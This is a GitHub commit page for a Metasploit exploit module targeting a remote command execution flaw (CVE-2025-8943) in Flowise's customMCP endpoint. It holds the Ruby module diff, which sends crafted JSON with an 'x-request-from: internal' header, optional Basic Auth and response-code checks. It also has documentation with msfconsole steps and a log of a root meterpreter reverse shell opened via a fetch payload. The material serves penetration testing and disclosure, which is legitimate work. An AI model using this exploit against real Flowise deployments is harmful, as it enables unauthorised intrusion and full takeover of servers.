Skip to content

Commit df1c157

Browse files
committed
Improve Flowise CustomMCP RCE exploit stability with Basic Auth support and HTTP response validation
2 parents 88aadcc + f991bd5 commit df1c157

File tree

3 files changed

+170
-20
lines changed

3 files changed

+170
-20
lines changed

documentation/modules/exploit/multi/http/flowise_custommcp_rce.md

Lines changed: 16 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,15 @@
11
## Vulnerable Application
22

3-
[Flowise](https://github.com/FlowiseAI/Flowise) is an open-source platform for building AI agents. Versions prior to 3.0.1 are vulnerable
4-
to an unauthenticated remote command execution vulnerability (CVE-2025-8943) in the customMCP endpoint.
3+
[Flowise](https://github.com/FlowiseAI/Flowise) is an open-source platform for building AI agents. Versions >= 2.2.7-patch.1 and < 3.0.1 are vulnerable
4+
to a remote command execution vulnerability (CVE-2025-8943) in the customMCP endpoint.
55

6-
The vulnerability exists in the `/api/v1/node-load-method/customMCP` endpoint which allows unauthenticated users to execute arbitrary
7-
commands by sending a specially crafted JSON payload. The endpoint accepts a command and arguments that are executed directly on the system.
6+
The vulnerability exists in the `/api/v1/node-load-method/customMCP` endpoint which allows users to execute arbitrary
7+
commands by sending a specially crafted JSON payload. The endpoint accepts a command and arguments that are executed directly on the system
8+
via StdioClientTransport. When FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables are not configured, the exploit works unauthenticated
9+
by using the 'x-request-from: internal' header. If Basic Auth is enabled, the module supports providing credentials via the FLOWISE_USERNAME
10+
and FLOWISE_PASSWORD options.
811

9-
This vulnerability affects Flowise versions < 3.0.1.
12+
This vulnerability affects Flowise versions >= 2.2.7-patch.1 (introduced March 14, 2025) and < 3.0.1 (fixed May 29, 2025).
1013

1114
This module was successfully tested on:
1215

@@ -60,6 +63,14 @@ services:
6063

6164
## Options
6265

66+
**FLOWISE_USERNAME** (optional): Flowise username for Basic Auth. Required if the target has FLOWISE_USERNAME environment variable configured.
67+
68+
**FLOWISE_PASSWORD** (optional): Flowise password for Basic Auth. Required if the target has FLOWISE_PASSWORD environment variable configured.
69+
70+
**Note**: The module automatically handles authentication. If Basic Auth is not configured on the target, the exploit works unauthenticated.
71+
If Basic Auth is enabled, you must provide credentials using the FLOWISE_USERNAME and FLOWISE_PASSWORD options. The module includes
72+
improved error handling with HTTP response code validation (200 = success, 401 = authentication required, 404 = endpoint not found, etc.)
73+
6374

6475
## Scenarios
6576

Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
## Vulnerable Application
2+
3+
[Flowise](https://github.com/FlowiseAI/Flowise) is an open-source platform for building AI agents. Versions >= 2.2.7-patch.1 and < 3.0.1 are vulnerable to a remote command execution vulnerability (CVE-2025-8943) in the customMCP endpoint.
4+
5+
The vulnerability exists in the `/api/v1/node-load-method/customMCP` endpoint which allows users to execute arbitrary commands by sending a specially crafted JSON payload. The endpoint accepts a command and arguments that are executed directly on the system
6+
via StdioClientTransport. When FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables are not configured, the exploit works unauthenticated
7+
by using the 'x-request-from: internal' header. If Basic Auth is enabled, the module supports providing credentials via the FLOWISE_USERNAME
8+
and FLOWISE_PASSWORD options.
9+
10+
This vulnerability affects Flowise versions >= 2.2.7-patch.1 (introduced March 14, 2025) and < 3.0.1 (fixed May 29, 2025).
11+
12+
This module was successfully tested on:
13+
14+
* Flowise 3.0.0 installed with Docker
15+
16+
### Installation
17+
18+
1. `git clone https://github.com/FlowiseAI/Flowise.git`
19+
20+
2. `cd Flowise`
21+
22+
3. `git checkout flowise@3.0.0`
23+
24+
4. `cd docker`
25+
26+
5. `cp .env.example .env`
27+
28+
6. Edit `docker-compose.yml` and set the image to `flowiseai/flowise:3.0.0`:
29+
30+
```yaml
31+
services:
32+
flowise:
33+
image: flowiseai/flowise:3.0.0
34+
```
35+
36+
7. `docker compose up -d`
37+
38+
8. Verify the installation by checking http://127.0.0.1:3000/api/v1/version (should return `{"version":"3.0.0"}`)
39+
40+
41+
## Verification Steps
42+
43+
1. Install the application
44+
2. Start msfconsole
45+
3. Do: `use exploit/multi/http/flowise_custommcp_rce_cve_2025_8943`
46+
4. Do: `set RHOSTS <target_ip>`
47+
5. Do: `set LHOST <your_ip>`
48+
6. Do: `set FETCH_SRVHOST <your_ip>`
49+
7. Do: `run`
50+
8. You should get a meterpreter session
51+
52+
53+
## Options
54+
55+
**FLOWISE_USERNAME** (optional): Flowise username for Basic Auth. Required if the target has FLOWISE_USERNAME environment variable configured.
56+
57+
**FLOWISE_PASSWORD** (optional): Flowise password for Basic Auth. Required if the target has FLOWISE_PASSWORD environment variable configured.
58+
59+
**Note**: The module automatically handles authentication. If Basic Auth is not configured on the target, the exploit works unauthenticated.
60+
If Basic Auth is enabled, you must provide credentials using the FLOWISE_USERNAME and FLOWISE_PASSWORD options. The module includes
61+
improved error handling with HTTP response code validation (200 = success, 401 = authentication required, 404 = endpoint not found, etc.)
62+
63+
64+
## Scenarios
65+
66+
### Flowise 3.0.0 on Linux (Docker)
67+
68+
```
69+
msf6 > use exploit/multi/http/flowise_custommcp_rce_cve_2025_8943
70+
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
71+
msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set RHOSTS 127.0.0.1
72+
RHOSTS => 127.0.0.1
73+
msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set RPORT 3000
74+
RPORT => 3000
75+
msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp
76+
PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp
77+
msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set LHOST 172.17.0.1
78+
LHOST => 172.17.0.1
79+
msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set LPORT 5555
80+
LPORT => 5555
81+
msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set FETCH_SRVHOST 172.17.0.1
82+
FETCH_SRVHOST => 172.17.0.1
83+
msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set FETCH_SRVPORT 8081
84+
FETCH_SRVPORT => 8081
85+
msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > run
86+
87+
[*] Started reverse TCP handler on 172.17.0.1:5555
88+
[*] Running automatic check ("set AutoCheck false" to disable)
89+
[*] Flowise version detected: 3.0.0
90+
[+] The target appears to be vulnerable. Version 3.0.0 is vulnerable to CVE-2025-8943
91+
[*] Sending stage (3090404 bytes) to 172.23.0.2
92+
[*] Meterpreter session 1 opened (172.17.0.1:5555 -> 172.23.0.2:36184) at 2025-11-18 21:45:37 +0100
93+
94+
meterpreter > sysinfo
95+
Computer : docker-flowise-1
96+
OS : Linux
97+
Architecture : x64
98+
System Language : en_US.UTF-8
99+
Meterpreter : x64/linux
100+
meterpreter > getuid
101+
Server username: root
102+
```
103+

modules/exploits/multi/http/flowise_custommcp_rce.rb

Lines changed: 51 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -13,13 +13,14 @@ def initialize(info = {})
1313
super(
1414
update_info(
1515
info,
16-
'Name' => 'Flowise Custom MCP Remote Command Execution (CVE-2025-8943)',
16+
'Name' => 'Flowise Custom MCP Remote Code Execution',
1717
'Description' => %q{
18-
This module exploits an unauthenticated remote command execution vulnerability
19-
in Flowise versions < 3.0.1. The vulnerability exists in the customMCP endpoint
20-
(/api/v1/node-load-method/customMCP) which allows unauthenticated users to execute
21-
arbitrary commands by sending a specially crafted JSON payload.
22-
The endpoint accepts a command and arguments that are executed directly on the system.
18+
This module exploits a remote code execution vulnerability in Flowise versions >= 2.2.7-patch.1
19+
and < 3.0.1. The vulnerability exists in the customMCP endpoint (/api/v1/node-load-method/customMCP)
20+
located in packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts and packages/components/nodes/tools/MCP/core.ts,
21+
which allows users to execute arbitrary commands via StdioClientTransport by using the 'x-request-from: internal' header.
22+
When FLOWISE_USERNAME and FLOWISE_PASSWORD are not configured, the exploit works unauthenticated. If Basic Auth is
23+
enabled, the FLOWISE_USERNAME and FLOWISE_PASSWORD options must be set to provide credentials.
2324
},
2425
'Author' => [
2526
'Assaf Levkovich', # Vulnerability discovery (JFrog)
@@ -54,8 +55,7 @@ def initialize(info = {})
5455
'DisclosureDate' => '2025-08-14',
5556
'DefaultTarget' => 0,
5657
'DefaultOptions' => {
57-
'RPORT' => 3000,
58-
'SSL' => false
58+
'RPORT' => 3000
5959
},
6060
'Notes' => {
6161
'Stability' => [CRASH_SAFE],
@@ -64,6 +64,11 @@ def initialize(info = {})
6464
}
6565
)
6666
)
67+
68+
register_options([
69+
OptString.new('FLOWISE_USERNAME', [false, 'Flowise username for Basic Auth (required if FLOWISE_USERNAME env var is set)', '']),
70+
OptString.new('FLOWISE_PASSWORD', [false, 'Flowise password for Basic Auth (required if FLOWISE_PASSWORD env var is set)', ''])
71+
])
6772
end
6873

6974
def check
@@ -78,12 +83,15 @@ def check
7883

7984
json_data = res.get_json_document
8085
version_str = json_data['version']
81-
return CheckCode::Unknown('Could not retrieve Flowise version') if version_str.nil? || version_str.to_s.empty?
86+
return CheckCode::Detected('Could not retrieve Flowise version') if version_str.blank?
8287

8388
version = Rex::Version.new(version_str)
8489
print_status("Flowise version detected: #{version}")
8590

86-
return CheckCode::Appears("Version #{version} is vulnerable to CVE-2025-8943") if version < Rex::Version.new('3.0.1')
91+
# Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.1 (May 29, 2025)
92+
if version >= Rex::Version.new('2.2.7') && version < Rex::Version.new('3.0.1')
93+
return CheckCode::Appears("Version #{version} is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.1)")
94+
end
8795

8896
CheckCode::Safe("Version #{version} is not vulnerable")
8997
end
@@ -108,22 +116,50 @@ def execute_command(cmd, _opts = {})
108116
}
109117

110118
exploit_url = normalize_uri(target_uri.path, 'api', 'v1', 'node-load-method', 'customMCP')
111-
res = send_request_cgi({
119+
120+
request_opts = {
112121
'uri' => exploit_url,
113122
'method' => 'POST',
114123
'ctype' => 'application/json',
115124
'headers' => {
116125
'x-request-from' => 'internal'
117126
},
118127
'data' => payload.to_json
119-
})
128+
}
120129

121-
return false unless res
130+
# Add Basic Auth if credentials are provided
131+
if !datastore['FLOWISE_USERNAME'].blank? && !datastore['FLOWISE_PASSWORD'].blank?
132+
request_opts['username'] = datastore['FLOWISE_USERNAME']
133+
request_opts['password'] = datastore['FLOWISE_PASSWORD']
134+
end
135+
136+
res = send_request_cgi(request_opts)
122137

123-
true
138+
unless res
139+
vprint_error('No response from server')
140+
return false
141+
end
142+
143+
case res.code
144+
when 200
145+
vprint_status('Command sent successfully (HTTP 200)')
146+
return true
147+
when 401
148+
vprint_error('Authentication required - check FLOWISE_USERNAME and FLOWISE_PASSWORD options')
149+
return false
150+
when 404
151+
vprint_error('Endpoint not found - target may not be vulnerable or CustomMCP not available')
152+
return false
153+
when 500
154+
vprint_error('Server error - command may have failed to execute')
155+
return true
156+
else
157+
vprint_warning("Unexpected HTTP response code: #{res.code}")
158+
return true
159+
end
124160
end
125161

126162
def exploit
127-
execute_command(payload.encoded)
163+
fail_with(Failure::PayloadFailed, 'Failed to run payload') unless execute_command(payload.encoded)
128164
end
129165
end

0 commit comments

Comments
 (0)